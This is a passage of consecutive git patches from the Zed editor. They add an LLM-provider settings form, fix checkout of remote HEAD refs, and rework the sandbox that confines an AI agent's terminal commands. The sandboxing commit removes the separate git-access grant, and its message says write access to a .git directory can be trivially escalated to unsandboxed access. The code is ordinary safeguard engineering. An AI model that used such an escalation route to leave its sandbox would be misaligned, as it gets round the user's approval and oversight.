 use crate::pages::{
-    CustomAgentForm, McpServerForm, render_input_audio_device_dropdown,
+    CustomAgentForm, LlmProviderForm, McpServerForm, render_input_audio_device_dropdown,
     render_output_audio_device_dropdown,
 };
 
@@ -957,6 +957,12 @@ pub struct SettingsWindow {
     /// Directory path of the skill whose share link was most recently copied,
     /// used to show a transient "copied" checkmark on its share button.
     pub(crate) last_copied_skill_directory_path: Option<PathBuf>,
+    /// State for the active "add OpenAI/Anthropic-compatible provider" form sub-page, if open.
+    pub(crate) llm_provider_form: Option<LlmProviderForm>,
+    /// Stable focus handle for the LLM "Add Provider" button, so it can show a
+    /// focus ring when the page auto-focuses it on open (which happens via mouse,
+    /// where `focus_visible` styling would otherwise be suppressed).
+    pub(crate) llm_provider_add_focus_handle: FocusHandle,
     /// State for the active "add/edit custom MCP server" form sub-page, if open.
     pub(crate) mcp_server_form: Option<McpServerForm>,
     /// Stable focus handle for the MCP "Add Server" button, so it can show a
@@ -1983,6 +1989,8 @@ impl SettingsWindow {
             provider_configuration_views: HashMap::default(),
             configuring_provider: None,
             last_copied_skill_directory_path: None,
+            llm_provider_form: None,
+            llm_provider_add_focus_handle: cx.focus_handle(),
             mcp_server_form: None,
             mcp_add_server_focus_handle: cx.focus_handle(),
             custom_agent_form: None,
@@ -3707,6 +3715,8 @@ impl SettingsWindow {
         if let Some(current_sub_page) = self.sub_page_stack.last() {
             let is_skills_page =
                 current_sub_page.link.json_path == Some(AGENT_SKILLS_SETTINGS_PATH);
+            let is_llm_providers_page = current_sub_page.link.json_path == Some("llm_providers")
+                && current_sub_page.link.title.as_ref() == "LLM Providers";
             let is_external_agents_page = current_sub_page.link.json_path == Some("agent_servers");
             let is_mcp_servers_page = current_sub_page.link.json_path == Some("context_servers");
 
@@ -3747,6 +3757,9 @@ impl SettingsWindow {
                                     })),
                             )
                         })
+                        .when(is_llm_providers_page, |this| {
+                            this.child(pages::render_add_llm_provider_popover(self, window, cx))
+                        })
                         .when(is_skills_page, |this| {
                             this.child(
                                 Button::new("open-skill-creator", "Create Skill")
@@ -4027,7 +4040,11 @@ impl SettingsWindow {
     /// This function will create a new settings file if one doesn't exist
     /// if the current file is a project settings with a valid worktree id
     /// We do this because the settings ui allows initializing project settings
-    fn open_current_settings_file(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+    pub(crate) fn open_current_settings_file(
+        &mut self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
         match &self.current_file {
             SettingsUiFile::User => {
                 let Some(original_window) = self.original_window else {
@@ -5267,6 +5284,8 @@ pub mod test {
                 provider_configuration_views: HashMap::default(),
                 configuring_provider: None,
                 last_copied_skill_directory_path: None,
+                llm_provider_form: None,
+                llm_provider_add_focus_handle: cx.focus_handle(),
                 mcp_server_form: None,
                 mcp_add_server_focus_handle: cx.focus_handle(),
                 custom_agent_form: None,
@@ -5404,6 +5423,8 @@ pub mod test {
             provider_configuration_views: HashMap::default(),
             configuring_provider: None,
             last_copied_skill_directory_path: None,
+            llm_provider_form: None,
+            llm_provider_add_focus_handle: cx.focus_handle(),
             mcp_server_form: None,
             mcp_add_server_focus_handle: cx.focus_handle(),
             custom_agent_form: None,

From c35650a88476587c9272eede79a2960d143b5a59 Mon Sep 17 00:00:00 2001
From: Albert Bogusz <albert@bogusz.co.uk>
Date: Wed, 1 Jul 2026 15:51:10 +0100
Subject: [PATCH 191/772] Support checking out remote HEAD refs (#57648)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments N/A
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Remote `HEAD` refs such as `origin/HEAD` and `upstream/HEAD` are
symbolic refs that point to a remote's default branch. These refs can
appear in the branch picker, but selecting them shows this error prompt:

![Error
Popup](https://github.com/user-attachments/assets/f30f9c9a-8f4e-43d9-8830-282eb17a3572)

This happens because the local branch name is directly derived from the
selected ref, resulting in an attempted checkout of a local branch named
`HEAD`.

This change follows up on feedback from #57588, which just filtered
remote `HEAD` refs out of the branch picker to prevent the error prompt.
As mentioned in [this
comment](https://github.com/zed-industries/zed/pull/57588#issuecomment-4533477336),
I agree that the preferred behaviour should be to instead allow checking
them out - useful for repos with multiple remotes such as an upstream.

For example, if `refs/remotes/origin/HEAD` points to
`refs/remotes/origin/main`, selecting `origin/HEAD` now behaves like
selecting `origin/main`, switching to the corresponding local `main`
branch instead of trying to create or check out a branch named `HEAD`.
This does not fetch or pull from the remote; it uses the locally known
remote refs.

Release Notes:

- Fixed selecting remote HEAD refs from the branch picker

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/git/src/repository.rs | 207 ++++++++++++++++++++++++++++-------
 1 file changed, 165 insertions(+), 42 deletions(-)

diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 93338de75ccf4a..f09c13f54ab26c 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -2131,6 +2131,13 @@ impl GitRepository for RealGitRepository {
                     .await
                     .is_ok()
                 {
+                    let name = match git_binary.run(&["symbolic-ref", &remote_ref]).await {
+                        Ok(resolved) => resolved
+                            .strip_prefix("refs/remotes/")
+                            .map(str::to_owned)
+                            .unwrap_or(name),
+                        Err(_) => name,
+                    };
                     let (_, branch_name) =
                         name.split_once('/').context("Unexpected branch format")?;
                     let local_branch_ref = format!("refs/heads/{branch_name}");
@@ -3934,6 +3941,52 @@ mod tests {
         git_command(path, ["init", "-b", "main"]);
     }
 
+    fn clone_remote_repository_with_main_and_feature(temp_dir: &Path) -> (PathBuf, PathBuf) {
+        let remote_directory = temp_dir.join("remote.git");
+        let seed_directory = temp_dir.join("seed");
+        let clone_directory = temp_dir.join("clone");
+
+        git_command(
+            temp_dir,
+            [
+                OsString::from("init"),
+                OsString::from("--bare"),
+                OsString::from("-b"),
+                OsString::from("main"),
+                remote_directory.as_os_str().into(),
+            ],
+        );
+        git_init_repo(&seed_directory);
+        fs::write(seed_directory.join("file.txt"), "main").unwrap();
+        git_command(&seed_directory, ["add", "file.txt"]);
+        git_command(&seed_directory, ["commit", "-m", "initial"]);
+        git_command(&seed_directory, ["switch", "-c", "feature"]);
+        fs::write(seed_directory.join("feature.txt"), "feature").unwrap();
+        git_command(&seed_directory, ["add", "feature.txt"]);
+        git_command(&seed_directory, ["commit", "-m", "feature"]);
+        git_command(
+            &seed_directory,
+            [
+                OsString::from("remote"),
+                OsString::from("add"),
+                OsString::from("origin"),
+                remote_directory.as_os_str().into(),
+            ],
+        );
+        git_command(&seed_directory, ["push", "-u", "origin", "main"]);
+        git_command(&seed_directory, ["push", "-u", "origin", "feature"]);
+        git_command(
+            temp_dir,
+            [
+                OsString::from("clone"),
+                remote_directory.as_os_str().into(),
+                clone_directory.as_os_str().into(),
+            ],
+        );
+
+        (remote_directory, clone_directory)
+    }
+
     fn test_commit_envs() -> HashMap<String, String> {
         let mut env = checkpoint_author_envs();
         env.insert("GIT_ASKPASS".to_string(), "false".to_string());
@@ -4078,50 +4131,11 @@ mod tests {
         cx.executor().allow_parking();
 
         let temp_dir = tempfile::tempdir().unwrap();
-        let remote_dir = temp_dir.path().join("remote.git");
-        let seed_dir = temp_dir.path().join("seed");
-        let clone_dir = temp_dir.path().join("clone");
-
-        git_command(
-            temp_dir.path(),
-            [
-                OsString::from("init"),
-                OsString::from("--bare"),
-                OsString::from("-b"),
-                OsString::from("main"),
-                remote_dir.as_os_str().into(),
-            ],
-        );
-        git_init_repo(&seed_dir);
-        fs::write(seed_dir.join("file.txt"), "main").unwrap();
-        git_command(&seed_dir, ["add", "file.txt"]);
-        git_command(&seed_dir, ["commit", "-m", "initial"]);
-        git_command(&seed_dir, ["switch", "-c", "feature"]);
-        fs::write(seed_dir.join("feature.txt"), "feature").unwrap();
-        git_command(&seed_dir, ["add", "feature.txt"]);
-        git_command(&seed_dir, ["commit", "-m", "feature"]);
-        git_command(
-            &seed_dir,
-            [
-                OsString::from("remote"),
-                OsString::from("add"),
-                OsString::from("origin"),
-                remote_dir.as_os_str().into(),
-            ],
-        );
-        git_command(&seed_dir, ["push", "-u", "origin", "main"]);
-        git_command(&seed_dir, ["push", "-u", "origin", "feature"]);
-        git_command(
-            temp_dir.path(),
-            [
-                OsString::from("clone"),
-                remote_dir.as_os_str().into(),
-                clone_dir.as_os_str().into(),
-            ],
-        );
+        let (_remote_directory, clone_directory) =
+            clone_remote_repository_with_main_and_feature(temp_dir.path());
 
         let repository = RealGitRepository::new(
-            &clone_dir.join(".git"),
+            &clone_directory.join(".git"),
             None,
             Some("git".into()),
             cx.executor(),
@@ -4184,6 +4198,115 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_change_branch_resolves_remote_head_to_tracking_branch(cx: &mut TestAppContext) {
+        disable_git_global_config();
+        cx.executor().allow_parking();
+
+        let temp_dir = tempfile::tempdir().unwrap();
+        let (_remote_directory, clone_directory) =
+            clone_remote_repository_with_main_and_feature(temp_dir.path());
+
+        let repository = RealGitRepository::new(
+            &clone_directory.join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .unwrap();
+        let git = repository.git_binary_in_worktree().unwrap();
+        git.run(&[
+            "symbolic-ref",
+            "refs/remotes/origin/HEAD",
+            "refs/remotes/origin/feature",
+        ])
+        .await
+        .unwrap();
+        assert_eq!(
+            git.run(&["symbolic-ref", "refs/remotes/origin/HEAD"])
+                .await
+                .unwrap(),
+            "refs/remotes/origin/feature"
+        );
+        assert!(
+            git.run(&["show-ref", "--verify", "--quiet", "refs/heads/feature"])
+                .await
+                .is_err()
+        );
+
+        repository
+            .change_branch("origin/HEAD".to_string())
+            .await
+            .unwrap();
+
+        let git = repository.git_binary_in_worktree().unwrap();
+        assert_eq!(
+            git.run(&["branch", "--show-current"]).await.unwrap(),
+            "feature"
+        );
+        assert_eq!(
+            git.run(&["rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}",])
+                .await
+                .unwrap(),
+            "origin/feature"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_change_branch_resolves_non_origin_remote_head(cx: &mut TestAppContext) {
+        disable_git_global_config();
+        cx.executor().allow_parking();
+
+        let temp_dir = tempfile::tempdir().unwrap();
+        let (remote_directory, clone_directory) =
+            clone_remote_repository_with_main_and_feature(temp_dir.path());
+
+        git_command(
+            &clone_directory,
+            [
+                OsString::from("remote"),
+                OsString::from("add"),
+                OsString::from("upstream"),
+                remote_directory.as_os_str().into(),
+            ],
+        );
+        git_command(&clone_directory, ["fetch", "upstream"]);
+
+        let repository = RealGitRepository::new(
+            &clone_directory.join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .unwrap();
+        let git = repository.git_binary_in_worktree().unwrap();
+        git.run(&[
+            "symbolic-ref",
+            "refs/remotes/upstream/HEAD",
+            "refs/remotes/upstream/main",
+        ])
+        .await
+        .unwrap();
+        git.run(&["checkout", "-b", "scratch"]).await.unwrap();
+
+        repository
+            .change_branch("upstream/HEAD".to_string())
+            .await
+            .unwrap();
+
+        let git = repository.git_binary_in_worktree().unwrap();
+        assert_eq!(
+            git.run(&["branch", "--show-current"]).await.unwrap(),
+            "main"
+        );
+        assert_eq!(
+            git.run(&["rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}",])
+                .await
+                .unwrap(),
+            "upstream/main"
+        );
+    }
+
     #[gpui::test]
     fn test_real_git_repository_new_rejects_malformed_git_file(cx: &mut TestAppContext) {
         disable_git_global_config();

From 3648fe6f19644fa4fcbd4f1db3e5888efb8269c1 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Wed, 1 Jul 2026 15:55:30 +0100
Subject: [PATCH 192/772] agent: Sandboxing polish (#60173)

Removes git sandbox feature

The reason is essentially:
- write access to a `.git` dir can be trivially escalated to unsandboxed
access
- therefore, it is misleading to offer git access separate from
unsandboxed access
- instead, we encourage the model to use `--no-optional-locks` to avoid
needing write access to `git status`, etc.


Adds sandboxing to fetch tool



---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/acp_thread/src/acp_thread.rs           |    4 +-
 crates/acp_thread/src/terminal.rs             |   37 +-
 crates/agent/src/db.rs                        |    5 +-
 crates/agent/src/sandboxing.rs                |  151 +-
 crates/agent/src/templates.rs                 |   40 +-
 crates/agent/src/templates/system_prompt.hbs  |   19 +-
 crates/agent/src/tests/mod.rs                 |  182 ++-
 crates/agent/src/thread.rs                    |  101 +-
 crates/agent/src/tools.rs                     |    2 +-
 crates/agent/src/tools/fetch_tool.rs          |   74 +-
 crates/agent/src/tools/terminal_tool.rs       |  106 +-
 .../tools/terminal_tool/sandbox_git_paths.rs  | 1416 -----------------
 crates/agent_settings/src/agent_settings.rs   |    5 -
 .../src/conversation_view/thread_view.rs      |   99 +-
 .../agent_ui/src/ui/sandbox_status_tooltip.rs |   19 +-
 crates/sandbox/README.md                      |   47 +-
 crates/sandbox/src/bwrap_test_helper.rs       |   66 +-
 crates/sandbox/src/linux_bubblewrap.rs        |   41 +-
 crates/sandbox/src/macos_seatbelt.rs          |   39 +-
 crates/sandbox/src/sandbox.rs                 |  440 +++--
 crates/sandbox/src/windows_wsl.rs             |  136 +-
 crates/sandbox/src/wsl_sandbox_test_helper.rs |   10 +-
 crates/settings_content/src/agent.rs          |   13 -
 .../settings_ui/src/pages/sandbox_settings.rs |   33 +-
 docs/.doc-examples/reference.md               |    2 +
 docs/src/ai/sandboxing.md                     |   49 +-
 docs/src/ai/tools.md                          |    2 +
 nix/tests/sandboxing/default.nix              |  130 +-
 28 files changed, 943 insertions(+), 2325 deletions(-)
 delete mode 100644 crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 87c9dd1c42c5de..bf5b97607bbc3c 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -176,9 +176,7 @@ pub struct SandboxAuthorizationDetails {
     /// builds still render the network request.
     #[serde(default, alias = "network")]
     pub network_all_hosts: bool,
-    /// Whether the command requested access to protected `.git` directories.
-    #[serde(default)]
-    pub allow_git_access: bool,
+
     #[serde(default)]
     pub allow_fs_write_all: bool,
     #[serde(default)]
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index 7526ad4a1b3cfe..3bc33e2a957edc 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -46,14 +46,11 @@ pub struct SandboxWrap {
     pub extra_write_paths: Vec<PathBuf>,
     /// Outbound network access explicitly approved for this command.
     pub network: SandboxNetworkAccess,
-    /// The project's `.git` directories (worktree `.git`, linked-worktree common
-    /// dirs, discovered repos). Protected by default; made writable when
-    /// `allow_git_access` is set. Computed by the agent because locating them
-    /// needs Git knowledge the sandbox layer can't derive itself.
-    pub git_dirs: Vec<PathBuf>,
-    /// Whether the user approved access to the protected `.git` directories.
-    pub allow_git_access: bool,
-    /// Allow unrestricted filesystem writes (ignores all writable paths).
+    /// Additional paths that should remain readable but not writable, even when
+    /// they fall under writable paths.
+    pub protected_paths: Vec<PathBuf>,
+    /// Allow unrestricted filesystem writes except for protected paths (ignores
+    /// ordinary writable paths).
     pub allow_fs_write: bool,
     /// Whether the project (and therefore this terminal) is local. The
     /// enforcing proxy binds a loopback port on this host, so it can only
@@ -155,8 +152,13 @@ impl SandboxWrap {
     /// path) rather than passing a re-resolvable path. A location that can't be
     /// captured (e.g. it doesn't exist) is dropped from the grant — fail-closed.
     fn to_policy(&self) -> sandbox::SandboxPolicy {
+        let protected_paths = self
+            .protected_paths
+            .iter()
+            .filter_map(|path| sandbox::HostFilesystemLocation::new(path).ok())
+            .collect();
         let fs = if self.allow_fs_write {
-            sandbox::SandboxFsPolicy::Unrestricted
+            sandbox::SandboxFsPolicy::Unrestricted { protected_paths }
         } else {
             let writable_paths = self
                 .writable_paths
@@ -169,7 +171,10 @@ impl SandboxWrap {
                     sandbox::HostFilesystemLocation::new(path).ok()
                 })
                 .collect();
-            sandbox::SandboxFsPolicy::Restricted { writable_paths }
+            sandbox::SandboxFsPolicy::Restricted {
+                writable_paths,
+                protected_paths,
+            }
         };
         let network = match &self.network {
             SandboxNetworkAccess::None => sandbox::SandboxNetPolicy::Blocked,
@@ -182,17 +187,7 @@ impl SandboxWrap {
                     .collect(),
             },
         };
-        let git_dirs = self
-            .git_dirs
-            .iter()
-            .filter_map(|path| sandbox::HostFilesystemLocation::new(path).ok())
-            .collect();
-        let git = if self.allow_git_access {
-            sandbox::GitSandboxPolicy::Allowed { git_dirs }
-        } else {
-            sandbox::GitSandboxPolicy::Denied { git_dirs }
-        };
-        sandbox::SandboxPolicy { fs, network, git }
+        sandbox::SandboxPolicy { fs, network }
     }
 }
 
diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 9d0541475bba68..7d69e03c325a93 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -107,9 +107,7 @@ pub struct DbSandboxGrants {
     /// granted.
     #[serde(default)]
     pub allow_fs_write_all: bool,
-    /// Whether access to protected Git directories (`.git`) was granted.
-    #[serde(default)]
-    pub allow_git_access: bool,
+
     /// Whether the model-requested fully-unsandboxed escape was granted.
     #[serde(default)]
     pub unsandboxed: bool,
@@ -950,7 +948,6 @@ mod tests {
             write_paths: vec![PathBuf::from("/tmp/build")],
             network_hosts: vec!["github.com".to_string(), "*.npmjs.org".to_string()],
             network_any_host: false,
-            allow_git_access: true,
             allow_fs_write_all: false,
             unsandboxed: true,
             sandbox_fallback: true,
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index e8597a9412dd00..e8d6589601eef4 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -30,9 +30,7 @@ use feature_flags::{FeatureFlagAppExt as _, SandboxingFeatureFlag};
 use gpui::App;
 use http_proxy::HostPattern;
 use project::Project;
-use sandbox::{
-    GitSandboxPolicy, HostFilesystemLocation, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
-};
+use sandbox::{HostFilesystemLocation, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 use settings::Settings;
 use std::path::PathBuf;
 
@@ -48,14 +46,10 @@ pub fn sandbox_worktree_writable_paths(project: &Project, cx: &App) -> Vec<PathB
         .collect()
 }
 
-/// The candidate `.git` directories the sandbox protects for a project. Locating
-/// these requires Git knowledge the sandbox layer can't derive itself: a
-/// worktree's `.git`, a linked worktree's common dir (which lives outside the
-/// worktree), and every discovered repository's git/common dirs.
-///
-/// When Git metadata access is granted, terminal enforcement and the status UI
-/// both run these candidates through the verifier in `sandbox_git_paths` before
-/// treating external Git metadata as writable.
+/// The candidate `.git` paths the sandbox protects for a project. Locating these
+/// requires Git knowledge the sandbox layer can't derive itself: a worktree's
+/// `.git`, a linked worktree's common dir (which lives outside the worktree),
+/// and every discovered repository's git/common dirs.
 pub fn sandbox_git_dirs(project: &Project, cx: &App) -> Vec<PathBuf> {
     let mut git_dirs = Vec::new();
 
@@ -86,9 +80,9 @@ pub fn sandbox_git_dirs(project: &Project, cx: &App) -> Vec<PathBuf> {
 /// UI renders and enforcement builds from. "No sandbox" is its own variant
 /// rather than a maximally-permissive [`SandboxPolicy`] so that a wide-open but
 /// real sandbox (e.g. `allow_fs_write_all` + `allow_all_hosts`) stays
-/// distinguishable from running with no sandbox at all — the two grant the same
-/// filesystem/network reach but only the latter means the command runs with
-/// ambient permissions.
+/// distinguishable from running with no sandbox at all. The sandbox still
+/// enforces invariants such as read-only Git metadata, while unsandboxed commands
+/// run with ambient permissions.
 #[derive(Clone, Debug, Eq, PartialEq)]
 pub enum ThreadSandbox {
     /// No OS sandbox is applied; commands run with ambient permissions.
@@ -120,27 +114,20 @@ impl ThreadSandbox {
         matches!(self, ThreadSandbox::Unsandboxed)
     }
 
-    /// Attach the project's Git policy to a sandboxed layer. The settings/grants
-    /// don't know the project's `.git` locations, so the caller computes them
-    /// (via [`sandbox_git_dirs`]) and passes whether this layer grants Git
-    /// access. A no-op for the `Unsandboxed` variant.
-    pub fn with_git(self, allowed: bool, git_dirs: Vec<PathBuf>) -> ThreadSandbox {
+    /// Attach the project's protected paths to a sandboxed layer. The settings
+    /// and grants don't know the project's `.git` locations, so the caller
+    /// computes them via [`sandbox_git_dirs`]. A no-op for `Unsandboxed`.
+    pub fn with_protected_paths(self, protected_paths: Vec<PathBuf>) -> ThreadSandbox {
         match self {
             ThreadSandbox::Unsandboxed => ThreadSandbox::Unsandboxed,
             ThreadSandbox::Sandboxed(policy) => {
-                // Capture each `.git` location (pinning its inode / canonical
-                // path). A location that can't be captured (e.g. doesn't exist)
-                // is dropped — fail-closed.
-                let git_dirs = git_dirs
+                // Capture each protected location (pinning its inode / canonical
+                // path). A location that can't be captured is dropped — fail-closed.
+                let protected_paths = protected_paths
                     .into_iter()
                     .filter_map(|path| HostFilesystemLocation::new(path).ok())
                     .collect();
-                let git = if allowed {
-                    GitSandboxPolicy::Allowed { git_dirs }
-                } else {
-                    GitSandboxPolicy::Denied { git_dirs }
-                };
-                ThreadSandbox::Sandboxed(policy.with_git(git))
+                ThreadSandbox::Sandboxed(policy.with_protected_paths(protected_paths))
             }
         }
     }
@@ -164,7 +151,9 @@ pub fn settings_thread_sandbox(persistent: &SandboxPermissions) -> ThreadSandbox
 /// from [`ThreadSandboxGrants::to_policy`].
 pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy {
     let fs = if persistent.allow_fs_write_all {
-        SandboxFsPolicy::Unrestricted
+        SandboxFsPolicy::Unrestricted {
+            protected_paths: Vec::new(),
+        }
     } else {
         SandboxFsPolicy::Restricted {
             writable_paths: persistent
@@ -172,6 +161,7 @@ pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy
                 .iter()
                 .filter_map(|path| HostFilesystemLocation::new(path).ok())
                 .collect(),
+            protected_paths: Vec::new(),
         }
     };
     let network = if persistent.allow_all_hosts {
@@ -183,13 +173,7 @@ pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy
             allowed_domains: persistent.network_hosts.clone(),
         }
     };
-    // The persistent settings don't know the project's `.git` locations; the UI
-    // layer attaches the real Git policy via `SandboxPolicy::with_git`.
-    SandboxPolicy {
-        fs,
-        network,
-        git: GitSandboxPolicy::default(),
-    }
+    SandboxPolicy { fs, network }
 }
 
 /// Whether agent-run terminal commands should be wrapped in an OS-level
@@ -275,8 +259,7 @@ impl NetworkRequest {
 pub(crate) struct SandboxRequest {
     /// Outbound network access requested for this command.
     pub network: NetworkRequest,
-    /// Allow access to protected Git metadata paths.
-    pub allow_git_access: bool,
+
     /// Allow unrestricted filesystem writes (the broad escape hatch).
     pub allow_fs_write_all: bool,
     /// Run the command fully outside the sandbox.
@@ -291,7 +274,6 @@ impl SandboxRequest {
     /// scope, and therefore needs user approval.
     pub fn needs_escalation(&self) -> bool {
         self.network.is_requested()
-            || self.allow_git_access
             || self.allow_fs_write_all
             || self.unsandboxed
             || !self.write_paths.is_empty()
@@ -312,7 +294,6 @@ pub(crate) struct ThreadSandboxGrants {
     /// Host patterns granted network access for the thread. Each covers its
     /// whole subdomain space; redundant entries are pruned on insert.
     network_hosts: Vec<HostPattern>,
-    allow_git_access: bool,
     allow_fs_write_all: bool,
     unsandboxed: bool,
     /// Whether the user approved running commands *without* a sandbox for the
@@ -353,14 +334,13 @@ impl ThreadSandboxGrants {
         if !self.network_covered(&request.network, persistent) {
             return false;
         }
-        if request.allow_git_access && !(self.allow_git_access || persistent.allow_git_access) {
-            return false;
-        }
+
         if request.allow_fs_write_all && !(self.allow_fs_write_all || persistent.allow_fs_write_all)
         {
             return false;
         }
-        // A full-access write grant covers any concrete write request.
+        // A full-access write grant covers any concrete write request at the
+        // authorization layer; protected paths are enforced by the sandbox.
         if self.allow_fs_write_all || persistent.allow_fs_write_all {
             return true;
         }
@@ -412,12 +392,6 @@ impl ThreadSandboxGrants {
         self.unsandboxed
     }
 
-    /// Whether the user approved access to protected Git directories for the
-    /// rest of the thread.
-    pub fn git_access_granted(&self) -> bool {
-        self.allow_git_access
-    }
-
     /// Record that the user approved running commands unsandboxed for the rest
     /// of the thread when the sandbox can't be created. Only the Bubblewrap
     /// sandboxes (Linux directly, Windows via WSL) can fail to create a
@@ -447,7 +421,9 @@ impl ThreadSandboxGrants {
     /// from [`settings_sandbox_policy`].
     pub fn to_policy(&self) -> SandboxPolicy {
         let fs = if self.allow_fs_write_all {
-            SandboxFsPolicy::Unrestricted
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: Vec::new(),
+            }
         } else {
             SandboxFsPolicy::Restricted {
                 writable_paths: self
@@ -455,6 +431,7 @@ impl ThreadSandboxGrants {
                     .iter()
                     .filter_map(|path| HostFilesystemLocation::new(path).ok())
                     .collect(),
+                protected_paths: Vec::new(),
             }
         };
         let network = if self.network_any_host {
@@ -470,13 +447,7 @@ impl ThreadSandboxGrants {
                     .collect(),
             }
         };
-        // Grants don't carry the project's `.git` locations; the UI layer
-        // attaches the real Git policy via `SandboxPolicy::with_git`.
-        SandboxPolicy {
-            fs,
-            network,
-            git: GitSandboxPolicy::default(),
-        }
+        SandboxPolicy { fs, network }
     }
 
     /// Serialize these grants for persistence in the thread's database row.
@@ -491,7 +462,6 @@ impl ThreadSandboxGrants {
                 .map(|host| host.to_string())
                 .collect(),
             network_any_host: self.network_any_host,
-            allow_git_access: self.allow_git_access,
             allow_fs_write_all: self.allow_fs_write_all,
             unsandboxed: self.unsandboxed,
             sandbox_fallback: self.sandbox_fallback,
@@ -514,7 +484,6 @@ impl ThreadSandboxGrants {
         Self {
             network_any_host: db.network_any_host,
             network_hosts,
-            allow_git_access: db.allow_git_access,
             allow_fs_write_all: db.allow_fs_write_all,
             unsandboxed: db.unsandboxed,
             sandbox_fallback: db.sandbox_fallback,
@@ -534,7 +503,6 @@ impl ThreadSandboxGrants {
                 }
             }
         }
-        self.allow_git_access |= request.allow_git_access;
         self.allow_fs_write_all |= request.allow_fs_write_all;
         self.unsandboxed |= request.unsandboxed;
         for path in &request.write_paths {
@@ -586,9 +554,6 @@ impl ThreadSandboxGrants {
         }
         SandboxRequest {
             network,
-            allow_git_access: persistent.allow_git_access
-                || self.allow_git_access
-                || request.allow_git_access,
             allow_fs_write_all: persistent.allow_fs_write_all
                 || self.allow_fs_write_all
                 || request.allow_fs_write_all,
@@ -643,7 +608,6 @@ mod tests {
     fn request(network: NetworkRequest, all: bool, paths: &[&str]) -> SandboxRequest {
         SandboxRequest {
             network,
-            allow_git_access: false,
             allow_fs_write_all: all,
             unsandboxed: false,
             write_paths: paths.iter().map(PathBuf::from).collect(),
@@ -653,7 +617,6 @@ mod tests {
     fn unsandboxed_request() -> SandboxRequest {
         SandboxRequest {
             network: NetworkRequest::None,
-            allow_git_access: false,
             allow_fs_write_all: false,
             unsandboxed: true,
             write_paths: Vec::new(),
@@ -675,6 +638,7 @@ mod tests {
                     .iter()
                     .map(|p| HostFilesystemLocation::new(p).expect("capture temp dir"))
                     .collect(),
+                protected_paths: Vec::new(),
             },
             network: if hosts.is_empty() {
                 SandboxNetPolicy::Blocked
@@ -683,7 +647,6 @@ mod tests {
                     allowed_domains: hosts.iter().map(|h| h.to_string()).collect(),
                 }
             },
-            git: GitSandboxPolicy::default(),
         };
 
         // Unsandboxed on either side wins — the agent runs with ambient access.
@@ -783,7 +746,8 @@ mod tests {
             SandboxFsPolicy::Restricted {
                 writable_paths: vec![
                     HostFilesystemLocation::new(build_dir.path()).expect("capture temp dir")
-                ]
+                ],
+                protected_paths: Vec::new(),
             }
         );
         assert_eq!(
@@ -798,7 +762,8 @@ mod tests {
         assert_eq!(
             empty.fs,
             SandboxFsPolicy::Restricted {
-                writable_paths: Vec::new()
+                writable_paths: Vec::new(),
+                protected_paths: Vec::new(),
             }
         );
         assert_eq!(empty.network, SandboxNetPolicy::Blocked);
@@ -807,7 +772,12 @@ mod tests {
         let mut broad = ThreadSandboxGrants::default();
         broad.record(&request(NetworkRequest::AnyHost, true, &[]));
         let policy = broad.to_policy();
-        assert_eq!(policy.fs, SandboxFsPolicy::Unrestricted);
+        assert_eq!(
+            policy.fs,
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: Vec::new(),
+            }
+        );
         assert_eq!(policy.network, SandboxNetPolicy::Unrestricted);
     }
 
@@ -828,7 +798,8 @@ mod tests {
             SandboxFsPolicy::Restricted {
                 writable_paths: vec![
                     HostFilesystemLocation::new(log_dir.path()).expect("capture temp dir")
-                ]
+                ],
+                protected_paths: Vec::new(),
             }
         );
         assert_eq!(
@@ -844,7 +815,12 @@ mod tests {
             ..Default::default()
         };
         let policy = settings_sandbox_policy(&unrestricted);
-        assert_eq!(policy.fs, SandboxFsPolicy::Unrestricted);
+        assert_eq!(
+            policy.fs,
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: Vec::new(),
+            }
+        );
         assert_eq!(policy.network, SandboxNetPolicy::Unrestricted);
     }
 
@@ -1030,33 +1006,6 @@ mod tests {
         assert!(!covers(&grants, &request(NetworkRequest::None, true, &[])));
     }
 
-    #[test]
-    fn git_access_grant_tracked_independently() {
-        let mut git_request = request(NetworkRequest::None, false, &[]);
-        git_request.allow_git_access = true;
-
-        let mut grants = ThreadSandboxGrants::default();
